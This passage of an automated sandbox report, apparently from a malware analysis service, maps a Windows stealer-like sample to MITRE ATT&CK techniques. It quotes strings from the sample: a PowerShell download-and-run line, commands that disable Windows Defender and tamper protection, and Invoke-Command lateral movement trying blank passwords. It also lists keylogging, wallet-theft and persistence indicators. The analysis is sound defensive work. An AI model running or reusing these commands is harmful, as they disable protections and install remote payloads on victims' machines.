Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"suspicious","value":"Able to retrieve local network connections"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Tries to steal crypto wallet extension (string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Resource Development","technique":"Email Accounts","attack_id":"T1585.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1585/002","identifiers":[{"type":"informative","value":"Found email domains (string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with bottom confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"bottom\" confidence","origin":"Static Analysis","id":"mlmodel-15","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with high confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-16","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$36","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$37","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"Found reference to API \"'\\r\\n$out = Join-Path $env:TEMP ('upd_'+[guid]::NewGuid().ToString('N').Substring(0,6)+'.exe')\\r\\ntry { (New-Object System.Net.WebClient).DownloadFile($url, $out); Start-Process $out } catch { }\\r\\n\" (Indicator: \"System.Net.WebClient\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1102.002","id":"string-536","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"VIEWER_STATUS|CDP connect fail \" (Indicator: \" connect \"; Source: \"sample.bin\"), Found reference to API \"wlan connect name=\"\" (Indicator: \" connect \"; Source: \"sample.bin\"), Found reference to API \"Trying open connect to hotspot: \" (Indicator: \" connect \"; Source: \"sample.bin\"), Found reference to API \"--- Phone hotspot connect (open networks only) ---\" (Indicator: \" connect \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-899","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"gmx.net\" [Source: sample.bin], Observed email domain:\"gmx.com\" [Source: sample.bin], Observed email domain:\"https://www.gmx.com/\" [Source: sample.bin], Observed email domain:\"https://account.gmx.com/logout\" [Source: sample.bin], Observed email domain:\"gmx.\" [Source: sample.bin]","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-169","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"172.111.138.100\", \"127.0.0.1\", \"10.0.0.0\", Potential IP \"127.0.0.1\" found in string \"ws://127.0.0.1:\", Potential IP \"127.0.0.1\" found in string \"http://127.0.0.1:\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"Found string \"SMTP_Email_Address\" (Indicator: \"smtp\"; Source: \"sample.bin\"), Found string \"SMTP_Server\" (Indicator: \"smtp\"; Source: \"sample.bin\"), Found string \"SMTP Server\" (Indicator: \"smtp\"; Source: \"sample.bin\"), Found string \"SMTP Email Address\" (Indicator: \"smtp\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-499","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains Gmail url","description":"Observed string: \"https://mail.google.com/mail/u/0/?logout&hl=en\" in Source: sample.bin, Observed string: \"https://accounts.google.com/Logout?continue=https://mail.google.com/mail/u/0/\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1087.003","id":"string-236","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found email domains (string)","description":"Found reference to API \"https://www.gmx.com/\" (Indicator: \".gmx.\"; Source: \"sample.bin\"), Found reference to API \"https://account.gmx.com/logout\" (Indicator: \".gmx.\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1585.002","id":"string-235","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Network Related","name":"Able to retrieve local network connections","description":"Found string \"netstat\" (Indicator: \"netstat \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1049","id":"string-361","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"Ping\" (Indicator: \"ping\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1018","id":"string-417","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"$38","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-5000","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$39","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3a","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"bdagent\" (Indicator: \"bdagent\") in Source: sample.bin, \"WRSVC\" (Indicator: \"wrsvc\") in Source: sample.bin, \"avast! Antivirus\" (Indicator: \"antivirus\") in Source: sample.bin, \"Bitdefender\" (Indicator: \"bitdefender\") in Source: sample.bin, \"Comodo\" (Indicator: \"comodo\") in Source: sample.bin, \"Tencent\" (Indicator: \"tencent\") in Source: sample.bin, \"Kaspersky\" (Indicator: \"kaspersky\") in Source: sample.bin, \"fsecure\" (Indicator: \"fsecure\") in Source: sample.bin, \"AvastUI\" (Indicator: \"avast\") in Source: sample.bin, \"Norton\" (Indicator: \"norton\") in Source: sample.bin, \"AVG Antivirus\" (Indicator: \"antivirus\") in Source: sample.bin, \"Avast\" (Indicator: \"avast\") in Source: sample.bin, \"AvastSvc\" (Indicator: \"avast\") in Source: sample.bin, \"Sophos\" (Indicator: \"sophos\") in Source: sample.bin, \"SophosUI\" (Indicator: \"sophos\") in Source: sample.bin, \"f-secure\" (Indicator: \"f-secure\") in Source: sample.bin, \"McAfee\" (Indicator: \"mcafee\") in Source: sample.bin, \"comodo\" (Indicator: \"comodo\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-8","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"Found string \"'\\r\\n$out = Join-Path $env:TEMP ('upd_'+[guid]::NewGuid().ToString('N').Substring(0,6)+'.exe')\\r\\ntry { (New-Object System.Net.WebClient).DownloadFile($url, $out); Start-Process $out } catch { }\\r\\n\" (Indicator: \"Start-Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-250","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$3b","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-187","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1620","id":"string-615","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"https://github.com/rustdesk/rustdesk/releases/download/1.4.9/rustdesk-1.4.9-x86_64.exe\" (Indicator: \"github.com\"), \"coinbase.com\" (Indicator: \"coinbase.com\"), \"github.com\" (Indicator: \"github.com\"), \"blockchain.com\" (Indicator: \"blockchain.com\"), \"paypal.com\" (Indicator: \"paypal.com\"), \"https://www.paypal.com/signout\" (Indicator: \"paypal.com\"), \"https://github.com/logout\" (Indicator: \"github.com\"), \"https://passport.yandex.com/passport?mode=logout\" (Indicator: \"yandex.com\"), \"https://www.paypal.com\" (Indicator: \"paypal.com\"), \"https://mail.yandex.com/?logout=yes\" (Indicator: \"yandex.com\"), \"yandex.com\" (Indicator: \"yandex.com\")","origin":"sample.bin","id":"string-135","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"$3c","origin":"sample.bin","id":"string-10","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to run commands (Powershell command string)","description":"Found string \"if (Try-IC 'current-token Default' { Invoke-Command -ComputerName $hostName -Authentication Default -ScriptBlock $sb }) { return }\" (Indicator: \"Invoke-Command\"; Source: \"sample.bin\"), Found string \" if (Try-IC 'blank-password Default' { Invoke-Command -ComputerName $hostName -Credential $c -Authentication Default -ScriptBlock $sb }) { return }\" (Indicator: \"Invoke-Command\"; Source: \"sample.bin\"), Found string \"if (Try-IC 'password Negotiate' { Invoke-Command -ComputerName $hostName -Credential $c -Authentication Negotiate -ScriptBlock $sb }) { return }\" (Indicator: \"Invoke-Command\"; Source: \"sample.bin\"), Found string \"try { Invoke-Command -ComputerName \" (Indicator: \"Invoke-Command\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-287","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartService\" (Indicator: \"StartService\"; Source: \"sample.bin\"), Found reference to API \"StartService OK\" (Indicator: \"StartService\"; Source: \"sample.bin\"), Found reference to API \"StartService win32=\" (Indicator: \"StartService\"; Source: \"sample.bin\"), Found reference to API \"StartService .sys OK\" (Indicator: \"StartService\"; Source: \"sample.bin\"), Found reference to API \"StartService already running\" (Indicator: \"StartService\"; Source: \"sample.bin\"), Found reference to API \" SCM StartService only\" (Indicator: \"StartService\"; Source: \"sample.bin\"), Found reference to API \"StartService .sys win32=\" (Indicator: \"StartService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-209","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-242","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManager\" (Indicator: \"OpenSCManager\"; Source: \"sample.bin\"), Found reference to API \"SCM OpenSCManager failed win32=\" (Indicator: \"OpenSCManager\"; Source: \"sample.bin\"), Found reference to API \"OpenSCManager win32=\" (Indicator: \"OpenSCManager\"; Source: \"sample.bin\"), Found reference to API \"QueryServiceStatus win32=\" (Indicator: \"QueryServiceStatus\"; Source: \"sample.bin\"), Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"sample.bin\"), Found reference to API \"OpenSCManager failed \" (Indicator: \"OpenSCManager\"; Source: \"sample.bin\"), Found reference to API \"OpenSCManager \" (Indicator: \"OpenSCManager\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1007","id":"string-191","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\"), Found reference to API \"wShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\"), Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"sample.bin\"), Found reference to API \"ShowWindowAsync\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"supports@consultant.com\"","origin":"sample.bin","mitre_attack_id":"T1114","id":"string-63","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \" process call create cmd.exe /c echo spread_test\" (Indicator: \"cmd.exe /c\"; Source: \"sample.bin\"), Found string \"cmd.exe /c reg delete \" (Indicator: \"cmd.exe /c\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-174","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\"\\C$\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WinUpdateHealth.cmd\" (Indicator: \"\\c$\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winupdatehealth.cmd\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1547.001","id":"string-265","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to copy files","description":"Observed string: \"/c copy /Y \"\" (Indicator: \"/c copy \") in Source: sample.bin, Observed string: \"/c copy /y \" (Indicator: \"/c copy \") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-329","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"sample.bin\"), Found reference to API \"VIEWER_STATUS|FAIL CreateProcess \" (Indicator: \"CreateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-204","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-272","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found string that contains outlook file extensions .ost/.pst","description":"\".ost\" (Indicator: \".ost\") in Source: sample.bin, \".pst\" (Indicator: \".pst\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1114.001","id":"string-179","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found registry location strings which can modify auto-execute functionality","description":"$3d","origin":"sample.bin","mitre_attack_id":"T1547","id":"string-184","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"CreateService failed win32=\" (Indicator: \"CreateService\"; Source: \"sample.bin\"), Found reference to API \"CreateService kernel OK\" (Indicator: \"CreateService\"; Source: \"sample.bin\"), Found reference to API \"CreateService\" (Indicator: \"CreateService\"; Source: \"sample.bin\"), Found reference to API \"CreateService OK WinPOHealthSvc\" (Indicator: \"CreateService\"; Source: \"sample.bin\"), Found reference to API \"CreateService kernel win32=\" (Indicator: \"CreateService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-199","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to perform scheduled task-related activity (Powershell command string)","description":"Found string \"try{ Unregister-ScheduledTask -TaskName '\" (Indicator: \"Register-ScheduledTask\"; Source: \"sample.bin\"), Found string \"try{ Unregister-ScheduledTask -TaskName '\" (Indicator: \"Unregister-ScheduledTask\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.005","id":"string-335","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"sample.bin\"), Found reference to API \"SeLoadDriverPrivilege=\" (Indicator: \"SeLoadDriverPrivilege\"; Source: \"sample.bin\"), Found reference to API \"LookupPrivilegeValue\" (Indicator: \"LookupPrivilegeValue\"; Source: \"sample.bin\"), Found reference to API \"SeLoadDriverPrivilege\" (Indicator: \"SeLoadDriverPrivilege\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-77","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"Found string \"$re = \\\"Add-MpPreference -ExclusionPath '$dir';Add-MpPreference -ExclusionPath '$tmp';Add-MpPreference -ExclusionPath '$pd';Add-MpPreference -ExclusionPath '$sd';Set-MpPreference -EnableControlledFolderAccess Disabled\\\"\" (Indicator: \"Set-MpPreference\"; Source: \"sample.bin\"), Found string \"try{ Set-MpPreference -DisableIntrusionPreventionSystem $true }catch{}\" (Indicator: \"Set-MpPreference\"; Source: \"sample.bin\"), Found string \"try{ Set-MpPreference -PUAProtection 0 }catch{}\" (Indicator: \"Set-MpPreference\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"sample.bin\"), Found string \"try{ Set-MpPreference -EnableControlledFolderAccess Enabled }catch{}\" (Indicator: \"Set-MpPreference\"; Source: \"sample.bin\"), Found string \"try{ Set-MpPreference -DisableRemovableDriveScanning $true }catch{}\" (Indicator: \"Set-MpPreference\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-275","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"NtTerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\"), Found reference to API \"HookedTerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\"), Found reference to API \"TerminateProcessFn\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\"), Found reference to API \"InstallIatTerminateProcessHook\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\"), Found reference to API \"HookedNtTerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\"), Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"System Security","name":"Found registry location strings which can modify COM objects","description":"Observed string: \"software\\classes\\clsid\" [Source: sample.bin]","origin":"sample.bin","mitre_attack_id":"T1546.015","id":"string-344","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"try{ Set-MpPreference -DisableIntrusionPreventionSystem $true }catch{}\" (Indicator: \"disableintrusionpreventionsystem\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disablerealtimemonitoring\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disablebehaviormonitoring\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disableblockatfirstseen\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disableioavprotection\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disablescriptscanning\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disableintrusionpreventionsystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-748","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"Found string \"try{ Stop-Service -Name WinDefend -Force }catch{}\" (Indicator: \"Stop-Service\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-274","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"Set-ItemProperty -Path $rtp -Name 'DisableRealtimeMonitoring' -Value 1 -Type DWord -Force\" (Indicator: \"Set-ItemProperty\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Set-ItemProperty\"; Source: \"sample.bin\"), Found string \"Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet' -Name 'SpynetReporting' -Value 0 -Type DWord -Force\" (Indicator: \"Set-ItemProperty\"; Source: \"sample.bin\"), Found string \"Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features' -Name 'TamperProtection' -Value 0 -Type DWord -Force\" (Indicator: \"Set-ItemProperty\"; Source: \"sample.bin\"), Found string \"Set-ItemProperty -Path $rtp -Name 'DisableOnAccessProtection' -Value 1 -Type DWord -Force\" (Indicator: \"Set-ItemProperty\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-367","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"SetWindowsHookEx\" (Indicator: \"SetWindowsHook\"; Source: \"sample.bin\"), Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"sample.bin\"), Found reference to API \"UnhookWinEvent\" (Indicator: \"UnhookWinEvent\"; Source: \"sample.bin\"), Found reference to API \"SetWindowsHookExMouse\" (Indicator: \"SetWindowsHook\"; Source: \"sample.bin\"), Found reference to API \"SetWinEventHook\" (Indicator: \"SetWinEventHook\"; Source: \"sample.bin\"), Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-91","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1529","id":"string-406","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Found anti-virus related strings names","description":"Found string \"NortonSecurity\" (Indicator: \"norton\"; Source: \"sample.bin\"), Found string \"Norton\" (Indicator: \"norton\"; Source: \"sample.bin\"), Found string \"avguard\" (Indicator: \"avguard\"; Source: \"sample.bin\"), Found string \"McShield\" (Indicator: \"mcshield\"; Source: \"sample.bin\"), Found string \"Mcshield\" (Indicator: \"mcshield\"; Source: \"sample.bin\"), Found string \"avgwd\" (Indicator: \"avgw\"; Source: \"sample.bin\"), Found string \"mcshield\" (Indicator: \"mcshield\"; Source: \"sample.bin\"), Found string \"McAfee\" (Indicator: \"mcafee\"; Source: \"sample.bin\"), Found string \"AntiVirService\" (Indicator: \"antivir\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-134","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfo\" (Indicator: \"SystemParametersInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1098","id":"string-132","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"SetKernelObjectSecurity\" (Indicator: \"SetKernelObjectSecurity\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-114","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"app_bound key base64 invalid\" (Indicator: \"base64\"; Source: \"sample.bin\"), Found string \"AesGcmDecrypt\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"System.Security.Cryptography\" (Indicator: \"System.Security.Cryptography\"; Source: \"sample.bin\"), Found string \"ToBase64String\" (Indicator: \"base64\"; Source: \"sample.bin\"), Found string \"ToBase64String\" (Indicator: \"ToBase64String\"; Source: \"sample.bin\"), Found string \"AesGcmDecryptOnce\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"System.Security.Cryptography.X509Certificates\" (Indicator: \"System.Security.Cryptography\"; Source: \"sample.bin\"), Found string \"FromBase64String\" (Indicator: \"base64\"; Source: \"sample.bin\"), Found string \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"https://login.icq.com/logout\" (Indicator: \"icq.com\"), \"signal.org\" (Indicator: \"signal.org\"), \"whatsapp.com\" (Indicator: \"whatsapp.com\"), \"telegram.org\" (Indicator: \"telegram.org\"), \"viber.com\" (Indicator: \"viber.com\"), \"skype.com\" (Indicator: \"skype.com\"), \"line.me\" (Indicator: \"line.me\")","origin":"sample.bin","id":"string-61","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$3e","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKey\" (Indicator: \"MapVirtualKey\"; Source: \"sample.bin\"), Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"sample.bin\"), Found reference to API \"VkKeyScan\" (Indicator: \"VkKeyScan\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-88","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$3f","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\"\\Outlook\\Setup\" in Source: sample.bin, \"\\Outlook\\Profiles\" in Source: sample.bin, \"\\Outlook\\AutoDiscover\" in Source: sample.bin, \"Software\\Microsoft\\Office\\Outlook\\SocialConnector\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1114","id":"string-129","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"NtQuerySystemInformation nt=0x\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\"), Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-121","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"Found string \"[TAB]\" (Indicator: \"[tab]\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-556","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"capCreateCaptureWindowA\" (Indicator: \"capCreateCaptureWindow\"; Source: \"sample.bin\"), Found 